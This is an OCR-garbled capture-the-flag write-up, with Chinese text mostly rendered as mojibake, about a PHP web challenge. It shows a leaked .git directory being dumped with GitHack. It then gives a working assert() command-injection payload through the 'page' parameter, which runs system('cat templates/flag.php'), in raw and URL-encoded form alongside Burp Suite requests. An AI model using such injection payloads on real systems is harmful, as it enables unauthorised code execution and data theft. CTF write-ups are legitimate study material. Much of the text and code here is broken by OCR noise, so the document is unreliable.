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(1) BAI{ENttp://111.198.29.45:46634/?page=about | & 2t T B Fix

<« C @ (@ 111.198.29.45:46634/7page=about
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About

| wrote this website all by myself in under a week!
| used:

o Git
* PHP
= Bootstrap

(2) F3git, WAL ZEBgitscH-ittEE (GitlF BMEMBEFEMRR, BEMRAANR . BEE, TEEAFELDRRERLERR
(4n. HRFE, BAEEE) , WA DAME—DE iR, 240 b, SQLIEHEZ 2RI

B ARRATIR— T R~ B FEQiti 5

urliflal: http://111.198.29.45:46634/.git/ , HILMEER SO, F G HFEEQIC AR

<« > C © @ 111.198.29.45:46634/.git/

Bxmesss @ st S B aresE

Index of /.git

Name Last modified Size Description

& Parent Directory -
@ COMMIT_EDITMSG 2018-10-04 12:57 25

@ HEAD 2018-10-04 12:57 23
(£3 branches/ 2018-10-04 12:57 -
@ config 2018-10-04 12:57 92
@ description 2018-10-04 12:57 73
(£ hooks/ 2018-10-04 12:57 -
@ index 2018-10-04 12:57 523
(23 info/ 2018-10-04 12:57 -
(3 logs/ 2018-10-04 12:57 -
(Z3 objects/ 2018-10-04 12:57 -
(T3 refs/ 2018-10-04 12:57 -

Apache/2.4.18 (Ubuntu) Server at 111.198.29.45 Port 46634

o AT #GitHack-master, i GitHack.py# T BAxMu GEE: XA R G848 Hpython2i21T, python3LiEIZ4T)
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1. @M. git/index3Cft, KEITEPHFER: ( X4, XfEshal )
2. %.git/objects/ SCHFIETF FERXTRLISCH:
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AR T EPATHSMIgitar 4, all you need is python
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:~# cd GitHack-master/
:~/GitHack-master# 1s
GitHack. py README . md
:~/GitHack-master# python GitHack.py http://111.198.29.45:46634/.git/
[+] Download and parse index file
index.php
s/about.php
contact.php
flag.php
s/home. php
templates/about.php
index.php
templates/home.php
‘contact.php
/flag.php

log.csdn.net/gg_416°
(3) TATETREMAIEEMER E, HIRESGitHack-master, FHEARAIBL K BAFMUEE F, &F&Efag.php.. 745 %%

:~/GitHack-master# 1s
: GitHack.py index README . md

index.php

about.php o f om .|-::hp
- . .45_46634/templates# cat flag.php

<?php
// TODO
// $FLAG
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Index of /templates

Name Last modified Size Description

bout.php 2018-09-16 03:05 147
contactphp  2018-09-16 03:0!
[#) flag.php 2019-06-13 11:59
Iz home.php 2018-09-16 03:05 -

Apache/2.4.18 (Ubuntu) Server at 111.198.29.45 Port 46634

(4) BAIHEREE ERindexphpF A NE

GitHack-master/111.198.29.45 46634/templates
GitHack-master/111.198.29.45 46634

templates

GitHack-master/111.198.29.45 46634

if (isset($_GET[ D) {
$page = $_GET[ 1§

$file ) or die(

DOCTYPE html

html

head
meta charset
meta http-equiv content
meta name content

title>My PHP Website</title
link rel href
head

body
nav class




div class
button type class data-toggle data-target
expanded aria-controls
span class Toggle navigation</span
span class span
span class span
span class span
button
a class href Project name
div
div id class
ul class
1i php if ($page php } a href Home</a 1li
1i php if ($page php } a href About</a 1li
1i php if ($page php } a href Contact</a

1i php if ($page php } a href My secrets</a 1li

ul

div class

php
require_once $file;

div

script src
script src
body

e assert()
PHP 5

assert ( mixed $assertion [, string $description ] ) : bool
PHP 7

assert ( mixed $assertion [, Throwable $exception ] ) : bool

assertion #& false ik Bl FALSE, #N& TRUE.

strpos() BB BERFRHFER —FRHEPE KRB E, WREBEREFZRFENRE FALSE.
JE¥E: strpos(string,find,start)

string %% . MEEHRWFERE.

find L. MEEBROFRSH.

start /] . MEEMETFHEHE.

file_exists() BREU & LB H R R BELE
R TE 2 B ek B R AFEENRE true, BB [FE false.




B

page=1stPeak Elofe 1stPeak

ﬁg_‘is: Xﬂggfgﬂhﬂﬁﬁg

<?php

if (isset($ GET[
$page = $ GET[
else {

) or die(

$file ) or die(

$page

$file ) or die(

FB=k. EFEFHEMLE, 5 assert("strpos('templates/" . $page . ".php', '..') === false") or die("Detected
hacking attempt!"); FHpageitiTHit, fFHAT PA#iTfag.php



if (isset($ GET[
$page $ GET[

false and system( ) and strops(
false) or die( )

$file ) or die(

#: 9 #icat templates/flag.php i i & cat templates/flag.php & B %3k Btflag, BFA/RAREZR, B ARSEXME
FF (B EEWARBKitE T IEH, indexphpfistfiitemplatesERI—HRT) , ME ARRFINLETERT IR
templates, 1R¥3#k, templates2AERBEZ TR, AXKRESindexphpfEF—HF ((MRRXEBEAERBEFZT)

urlifi il $kf5fag

&« ¢ o D 111.198.29.45:46634/index.php/?page=1stPeak’, abc’) === false and system("cat templates/flag.php™) and strops(1stPeak
Bamssts @ stk SsEmt D sras

O O==E= Disls ODERE ((e888 Qu DrF NREE BEeE f DE58Fs @ Haddar
Q1% HTML Pl

<!--?php $FLAG="cyberpeace{78f6dd186c1bBe624897434FB69711161"; 2--

<html>

<body>»</body>
</html>

E: BAVER UUERbpt 7162, (HEZKMIERIE®#Tulencode, HTLERTY, WTFHE:

o K% iturlencode:



B! Burp Suite Professional v2.0beta - Temporary Project - licensed to surfengz - [m} #
Burp Project Intruder Repeater Window Help
{ Dashboard TTarget I Proxy I Intruder TRepeateJ T Sequencer I Decoder I Comparer T Extender T Project options I User options
1x|2x [3a ..
Go Cancel | [ < |v || >|v Target: hiip://111.198.29.45:46634 @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
GET findex.php/?page=1stPeak’ 'abc’) === false and system("cat templates/flag.php") and : <IDOCTY! L PUBLIC "MIETRYDTD HTML 2.Q4EN"> :
strops(1stPeak HTTP/1.1 <html=
Host: 111.138.29.45:46634 <head>
User-Agent: Mozilla5.0 (Windows NT 10.0; WOWE4; nvE67.0) Gecko/20100101 Firefox/67.0 <title>400 Bad Request</title>
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 ** q=0.8 </head=
Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 ,zh-HIK; q=0.5 en-US;q=0.3 en;q=0.2 <hody>
Accept-Encoding: gzip, deflate <h1>Bad Request</hi>
Connection: close <p>Your browser sent a request that this server could not understand.
Upgrade-Insecure-Requests: 1 <hr />
Cache-Contral: max-age=0| <fp=
<hr=
<address>Apache/2.4.18 (Ubuntu) Server at 10.42.11.182 Port 80</address>
</body>
<fhtml>
b =
- o L - - S
< + > Type a seart 1 0 matches < + > Type a m 0 maz
0 : @ ; =
Done 486 bytes | 34 millis

o #jdurlencode

W! Burp Suite Professional v2.0beta - Temporary Project - licensed to surfergz

Burp Project Intruder Repeater Window Help

" Dashboard TTarget I Proxy I Intruder TRepeateJ T Sequencer I Decoder I Comparer l’ Extender I Project options I User options

1|2 x [3= ...

Go Cancel | [ < |v || >|¥ Target: hitp://111.198.29.45:46634 7 (7)

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render

GET HTTP/1.0 500 Internal Server Error

S

A
findex.php/?page=1stpeak%2c'abc’) %20%3d%3d%3d%20false %20and %20system (%22 cat %20temp | Date: Thu, 13 Jun 2019 18:01:31 GMT |
lates%2fllag. php%22) %20and %20strops (1 stpeak HTTR/.1 Server: Apache/2.4.18 (Ubuntu)

Host: 111.198 29 45:46634 Content-Length: 63

User-Agent: Mozilla5.0 (Windows NT 10.0; WOWE4; nvE67.0) Gecko/20100101 Firefox/e7.0 Connection: close

Accept: text/htrl application/xhtml+xml applicationfcml;q=0.9 ** q=0.8 Content-Type: text/html; charset=UTF-8

Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 ,zh-HI; q=0.5 en-US;q=0.3 en;¢=0.2

Accept-Encoding: gzip, deflate <?php $FLAG="cyberpeace{7BfHdd186c1 0624897 4948607 1116]"; 7=

Connection: close
Upgrade-Insecure-Requests: 1
Cache-Contral: max-age=0
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Done 248 byles | 40 nallis

e urlencodeth AR, 1B

1stpeak'%2c'abc')%20%3d%3d%3d%20false%20and%20system(%22cat%20templatesk2fflag.php%22)%20and%20strops('1stpeak

1stPeak%27%2c%27abc%27)+%3d%3d%3d+false+and+system(%22cat+templates%2fflag.php%22)+and+strops(%271stPeak
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